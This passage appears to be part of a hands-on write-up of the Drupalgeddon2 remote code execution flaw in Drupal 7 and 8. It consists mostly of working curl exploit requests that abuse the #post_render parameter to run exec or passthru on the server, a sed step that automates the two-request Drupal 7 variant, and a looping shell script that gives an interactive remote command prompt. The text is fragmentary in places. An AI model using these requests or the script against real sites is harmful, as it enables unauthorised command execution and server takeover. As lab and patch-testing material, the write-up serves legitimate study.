- It uses the
user/register
URL,#post_render
parameter, targetingaccount/mail
, using PHP'sexec
function.
curl -k -i 'http://localhost/user/register?element_parents=account/mail/%23value&ajax_form=1&_wrapper_format=drupal_ajax' \
--data 'form_id=user_register_form&_drupal_ajax=1&mail[a][#post_render][]=exec&mail[a][#type]=markup&mail[a][#markup]=uname -a'
The server will give 200 response & display JSON. It IS able to render the output in the response (such as doing uname -a).
Example
[g0tmi1k@attacker]$ curl -k -i 'http://localhost/drupal-8.4.5/user/register?element_parents=account/mail/%23value&ajax_form=1&_wrapper_format=drupal_ajax' \

This is a different when compared to v8.x, as you need to make two requests in order to exploit
Thanks to:
- It uses
#post_render
&name parameters
, targetinguser/password
request, using PHP'spassthru
function.
We need to get the value from form_build_id
:
curl -k -s 'http://localhost/drupal-7.55/?q=user/password&name\[%23post_render\]\[\]=passthru&name\[%23type\]=markup&name\[%23markup\]=uname+-a' \
--data "form_id=user_pass&_triggering_element_name=name" | grep form_build_id
NOTE: This time you need to URL encode (e.g. Spaces ~
-> +
)_
Afterwards, make a new request, using the value from above as such:
curl -k -i "http://localhost/drupal-7.55/?q=file/ajax/name/%23value/${form_build_id}" \
--data "form_build_id=${form_build_id}"
Example
[g0tmi1k@attacker]$ curl -k -s 'http://localhost/drupal-7.55/?q=user/password&name\[%23post_render\]\[\]=passthru&name\[%23type\]=markup&name\[%23markup\]=uname+-a' \
--data "form_id=user_pass&_triggering_element_name=name" | grep form_build_id
<input type="hidden" name="form_build_id" value="form-r55m87T9afnEo-eEePGipGpHTkjPFBgUCnytk_Zuc4I" />

Bash Fu/Automation
We can automate this a little more by using sed to exact the value, as shown below:
form_build_id=$( curl -k -s 'http://localhost/drupal-7.55/?q=user/password&name\[%23post_render\]\[\]=passthru&name\[%23type\]=markup&name\[%23markup\]=uname+-a' \
--data "form_id=user_pass&_triggering_element_name=name" | grep form_build_id | sed -E 's/.*name="form_build_id" value="(.*)".*/\1/' )
curl -k -i "http://localhost/drupal-7.55/?q=file/ajax/name/%23value/${form_build_id}" \
--data "form_build_id=${form_build_id}"
We can make a very basic exploit (for Drupal v8) as show:
[g0tmi1k@attacker]$ cat exploit.sh
#!/bin/sh
# Forever loop
while True; do
# Get input
read -p 'drupalgeddon2>>: ' command
# Make request
curl -k 'http://localhost/drupal-8.4.5/user/register?element_parents=account/mail/%23value&ajax_form=1&_wrapper_format=drupal_ajax' \
--data "form_id=user_register_form&_drupal_ajax=1&mail[a][#post_render][]=exec&mail[a][#type]=markup&mail[a][#markup]=${command}"
# New line (the response doesn't have one)
echo
done
[g0tmi1k@attacker]$
[g0tmi1k@attacker]$ sh exploit.sh

Pro Tip!
If you wish to send the traffic of cURl through a proxy (such as Burp), run the following command:
[g0tmi1k@attacker]$ export http_proxy=http://127.0.0.1:8080
[g0tmi1k@attacker]$
